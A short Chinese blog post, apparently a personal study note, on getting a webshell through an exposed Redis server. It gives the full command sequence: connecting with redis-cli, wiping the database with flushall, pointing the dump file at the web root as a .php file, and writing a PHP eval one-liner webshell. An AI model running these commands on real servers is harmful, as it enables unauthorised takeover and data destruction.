Learn Redis & Getshell via Redis 2016-07-16

前言

redis是一个NoSQL数据库,也就是非关系型数据库(MySQL是关系型数据库),是一个基于内存,的key-value型数据库,当然他也可以保存到硬盘达到持久型。

因为看各位师傅都在发关于redis相关的东西,企业中用的也不少,所以简单研究一下redis的用法以及用它来getshell。

安装redis

在Ubuntu下安装redis

sudo apt-get install redis-server

在mac下安装redis

brew install redis

redis基础

要研究redis来getshell,首先得明显redis的基础运行流程。

可以来看这篇文章:http://www.runoob.com/redis/redis-tutorial.html

我花了两天时间把这篇文章看完了,其中也大概明白了如何利用redis来getshell。

利用redis来getshell

getshell的原理是通过配置数据库文件目录和地址,然后写入数据库一句话,最终getshell。

这篇文章里面,详细讲解了redis的配置。

可以看到其中有dbfilename,可以用来指定本地数据库文件名,默认是dump.rdb

dir配置可以指定本地数据库存放目录,把这两点结合起来,我们再往数据库中写入脚本木马,即可达到getshell的效果。

首先我们使用redis-cli连接redis:

redis-cli -h 192.168.0.16 -p 6379

随后为了让我们写入的数据可以在数据库文件靠前一点,可以先执行flushall

flushall会清空数据库的所有内容……,各位客官慎用。

不过好在之前看到jaychou师傅发了一个善待Redis,远离flushall,大家可以学习学习,我这个大家当做科普就好。

flushall以后,我们来设置数据库目录:

CONFIG SET dir /var/www/html/

然后设置文件名:

CONFIG SET dbfilename 2.php

随后将脚本密码写入数据库:

set webshell "<?php @eval($_POST['k']) ?>"

最终执行save保存到数据库文件:

save

然后看web目录下,shell已然躺在里面:

1487498920

最后总得说点什么

redis getshell不算什么新技术,然而我现在才开始研究,感觉自己真是菜鸡,希望师傅们多带带我。